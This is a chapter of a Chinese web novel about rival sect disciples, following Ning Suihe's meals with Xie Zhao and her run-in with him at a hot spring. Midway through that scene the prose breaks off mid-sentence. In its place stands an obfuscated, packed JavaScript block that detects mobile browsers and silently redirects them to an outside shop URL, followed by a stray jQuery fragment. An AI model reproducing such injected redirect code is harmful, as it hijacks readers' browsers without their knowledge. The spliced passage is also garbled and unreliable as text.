文趣网 > 其他小说 > 偏执反派是我宿敌 > 38. 青霄宗
    宁岁禾弯了弯眼睛。

    谢昭这人真是娇贵,她早在妖族跟他一块吃饭的时候就发现了,那一桌子各色各样的菜,他只挑挑拣拣地吃了几口。

    但宁岁禾还是总结出了这人的忌口:葱姜蒜香菜不吃,辣椒不吃,内脏不吃,胡萝卜块不吃,胡萝卜丝可以吃,太老的鸡蛋也不吃。

    属实是挑剔至极。

    刚巧天和宗食堂阿姨就喜欢做重油重辣的东西,葱姜蒜一个不少,偶尔几道清淡的素菜也放了一堆蒜提香。

    难怪挑剔的谢少爷没兴趣吃一口。

    凌知眨着眼睛,一脸崇拜地看过来:“宁师姐,大师兄那么多忌口你也能记住啊。”

    其实谢昭忌口也就一般多吧,只不过修仙界大家都有自己的事情要做,即便是凌知这种谢昭的头号粉丝也没心思去记他的忌口。

    谢昭动作一顿,把嘴里的面条咽了下去,才开口:“凌知。”

    凌知立马闭嘴了。

    宁岁禾将目光转向了对面慢条斯理吃东西的纪砚:“你叫纪砚,对吧?”

    谢昭面无表情地咬断了面条。

    纪砚挑眉,放下筷子,笑得意味深长:“对呀,宁师姐记得我?”

    “那当然。”宁岁禾本想说她可是记得两宗的每一个人,但想想又咽了回去,她好奇道,“你是纪家的?也是世家吗?”

    “嗯哼。”纪砚撑着下巴,本来冷冷的单眼皮弯起来却显得格外清俊,“纪家与谢家并称世家之最,不过谢家更重符道,我们更重阵法。”

    宁岁禾点点头,心道这世家还挺复杂的,居然有排名?

    谢昭敲了两下桌子,不耐烦道:“能不能安静点?”

    宁岁禾心情颇好地将自己的东西吃完,看了眼谢昭一口没动的馍,顺手拿了过来塞进嘴里:“不要浪费粮食啊,少爷。”

    她小时候跟奶奶住在乡下,帮着奶奶干农活,种水稻,对粮食是从始至终的尊重和珍惜。

    她没去看谢昭的表情,起身:“我走啦!你们慢慢吃。”

    青霄宗几个人吃饭都细嚼慢咽的,宁岁禾吃完离开的时候,流意才吃了一小半,她呆了下:“这、这么快吗?”

    左右看看,食堂里天和宗的剑修吃饭都飞快,各个都像饿了几天一样往嘴里扒。

    纪砚沉默了一下:“没记错的话我们也是要上体修课的。到时候,我们不会也要变成这样吧?”

    青霄宗众人:“……”

    -

    “师姐。”楚惟跟上宁岁禾的步子,他眉间多了些不理解,“你对谢昭那么好干什么?”

    “好吗?”宁岁禾还在琢磨着事,闻言道,“之后我们要带竹喧去偷师,先稳稳他们,不然之后他们破防跟我们打起来可就不好了,毕竟谢昭确实挺难缠。”

    还有另一个原因。

    种转生莲的血液也要从这些亲传身上取到,关系好不一定能成功,但关系不好一定会失败。

    宁岁禾觉得还是慢慢跟他们打好关系……尽量。

    她望着天,有些沧桑。

    为什么明明自己要救他们,还要这么偷偷摸摸的?

    “唉。”她叹了口气,觉得先不管青霄宗的人,转头对楚惟道,“对了,你一会帮我跟满关他们要一滴血来。”

    “好。”楚惟没问干什么,还是立马应下来,“一人一滴吗?”

    “对。”宁岁禾抿唇,认真看着他,“你不问我要干什么吗?”

    楚惟脚步顿了顿,低声道:“我说过了,你想做的事情,我都会帮你。”

    午后的光将两人的影子压成小小的,像是两个靠在一起的小朋友。

    “而且,”他看着宁岁禾笑了下,“这件事情,应该跟你从天道那得到的消息有关吧?”

    真是敏锐。

    宁岁禾抿唇。

    楚惟了然地笑笑:“我猜到了。觉得你可能不太好解释,索性就不问了。”

    “反正,师姐不会害我们,对吗?”

    -

    魔界。

    血月凌空,四周都是阴沉沉的,不远处的密林褪去了正常的葱郁,变得乌黑扭曲。再远一点的地方,一条岩浆化作的河流平静如潭水,黑色的雾气慢腾腾地在周围游荡,卷入一座巨大的宫殿中。

    最上方的露台上,一位男子伫立于此,目光沉沉地看向远方。

    那千年未曾波动的岩浆,竟慢慢翻腾了起来。

    男人的眼睛眯了起来:“果然,音希说的没错。”

    让这届亲传进入妖界,真的可以撬动这个停滞已久的齿轮。

    她……会醒过来吗?

    还要多久?

    “尊上,妖族撑不了太久。”一个下属弯腰行礼,极为恭敬,“我们是否要实施下一步计划?”

    “呵。”男人发出一声嗤笑,他眼都不转,周围威压直直地压下,逼得下属猛地跪倒在地上,噤若寒蝉。

    “我们?”他面无表情,“本尊的计划,这么就跟你变成们了?”

    黑雾发出阵阵嘶鸣,如同在应和着男人的话语。

    下属以头点地,冷汗滴落:“尊上恕罪。”

    威压又莫名消失,但下属依旧不敢动弹,乖乖跪在地上。

    “准备一下,攻打人间。”男人轻飘飘地说。

    -

    原本两宗的计划是先去天和宗锻炼身体,一个月后再去青霄宗学习别的东西。

    但宗门高层明显是低估了这群弟子的闹腾程度,短短一周,天和宗内门发生三十起大大小小的群架事件,打坏建筑十余座,受伤弟子数十人,剑锋被削了一座山头……

    温鹤声忍无可忍地将这群弟子赶回了青霄宗,将一月换一宗的学习计划改成了一周换一宗。

    不过他们没想到的是,最能闹腾的亲传倒是看上去和和气气的,甚至偶尔遇见了还能不带感情地问候两句。

    这主要还是归功于宁岁禾一个人的努力。

    自从定下了要跟青霄宗打好关系的目标后,宁岁禾格外耐心,每天都要经历一遍跟谢昭坐同桌、找食堂阿姨开小灶、跟青霄宗其他几人聊聊天、谢昭摔筷子一系列操作,成功让宁岁禾与青霄宗众人都结下深厚情谊。

    只可惜,这个情谊在天和宗弟子入驻青霄宗的第一天就乍然破碎了。

    比起天和宗的条条大路一望到头,青霄宗的路如同羊肠小道,四处转弯,周围阵法密布,完完全全就是一个大型地狱级迷宫。

    很遗憾,宁岁禾就这么迷路了。

    她绕着一座假山走了两圈,满脸不耐地换了条路,走进了一处云雾缭绕的地方。

    “这哪啊?”

    宁岁禾嘀咕着,左右张望,继续往前走。

    走进云雾中,她瞳孔一缩。

    飘然若仙境的雾气下,是一潭冒着热气的温泉,花丛点缀,奇石环绕。

    水波中间,坐着一个熟悉的身影,衣衫半褪,露出漂亮紧致的背肌,长发被水沾湿,几缕发丝黏在如玉的皮肤上。

    他白皙精瘦的胸膛上还挂着一个银白色的长命锁,锁声扣着一排的小铃铛。

    少年微微侧头,露出了那张熟悉的脸。

    卧槽,谢昭!

    宁岁禾顿感不妙,转身就想跑。

    慌乱之中,她几乎是下意识

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752742|207511||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    想,这么容易摇晃的长命锁,怎么谢昭走路动作的时候从来没有响过,自己的却总是叮叮当当响个不停。

    一道符箓紧随着在她原本站着的地方炸开,碎石四溅。

    “宁岁禾!”背后的声音咬牙切齿,带着恼怒,“你为什么会在这?”

    他扔过来的符箓角度刁钻,个个带着杀气,明显是真的动了怒。

    宁岁禾不得不拔剑自保,剑刃与符箓撞在一起,灵力瞬间炸开,两侧的假山应声而碎。

    “我迷路了,你听我解释!”宁岁禾一剑挥过去,斩落了几张符箓,脚下阵法升起,她脚尖一点,跳到侧边的假山上。

    透过符箓的间隙看过去,谢昭不知何时套上了衣服,只是来得匆忙,衣衫不整。

    身上的水也没擦干,一缕青丝黏在他的脖颈上。他抿着唇,目光冷冷地看过来:“还看?”

    “我没——”宁岁禾下意识狡辩。

    但他们俩都打起来了,不看对手应战,这谢昭是不是有点无理取闹了?

    宁岁禾没空想那么多,铺天盖地的符箓阵法一同攻过来,气势滔天!

    这等攻势,已经容不得宁岁禾收力了,她飞雪一转,灵力窜进剑中,抬手一道横切,风云变幻,所有阵法瞬间破碎,符箓拦了几瞬,但也挡不住宁岁禾的全力一击,很快灰飞烟灭。

    她没想真伤着谢昭,剑气侧了几寸,落在侧边的假山上,那十几米高的假山竟被这道已经卸了几分力的残招切成两半!

    哇哦。

    宁岁禾顿了下,之前在妖界,自己的剑招还没这么强呢。

    短短一个月的修炼,她的实力往上窜了不止一个小境界。

    “咱也别打了,我跟你道歉——你怎么了?”宁岁禾话说到一半,瞧见谢昭皱着眉捂住胸口,脸偏向一侧。

    难道自己刚刚那招伤到他了?

    宁岁禾挠挠脑袋,声音低了下去:“对不起,我不是故意的。”

    谢昭没说话。

    宁岁禾站在原地踌躇了会,又理直气壮起来:“可是你刚刚又布阵又扔符箓的,我肯定要防守啊,谁知道你……”

    她说了一半,又觉得自己这样不好,人家都受伤了,肯定心里脆弱得很。

    宁岁禾声音小了下去:“我也不是说你菜啊,我就是解释一下……”

    “出去。”谢昭冷冷开口。

    “……出去就出去。”宁岁禾转头走了两步,又停住。

    谢昭不耐烦:“还想干什么?”

    宁岁禾:“我迷路了。”

    “……”

    背后沉默了良久,久到宁岁禾以为谢昭已经溜了的时候,才生硬地冒出来一句,

    “直走,右转,再左转。”

    宁岁禾说了句谢谢,往前走了几步,再次停住了。

    她思索了片刻,转头往谢昭那跑过去。

    “你又想干什么——”

    谢昭皱着眉,烦躁的话还没说完,就被塞了一嘴的丹药。

    少女低他一头,仰着脸,一双清亮的眸子直勾勾地看着他,声音又轻又勾人:“对不起嘛,你别生气了。”

    说完,她又猛地往后窜,还自顾自左跳右跳躲避着根本没有出现的符箓,头也不回地朝着出口奔去。

    谢昭安静地将丹药咽下去,还没来得及感动,就尝到丹药中独属于青霄宗丹药的味道。

    他想起来,两人初次见面时,宁岁禾就靠着胡搅蛮缠从自己手里薅去了几瓶丹药。

    他额角青筋直跳。

    拿我的丹药,做我的人情?

    “宁、岁、禾!”

    他咬牙出声。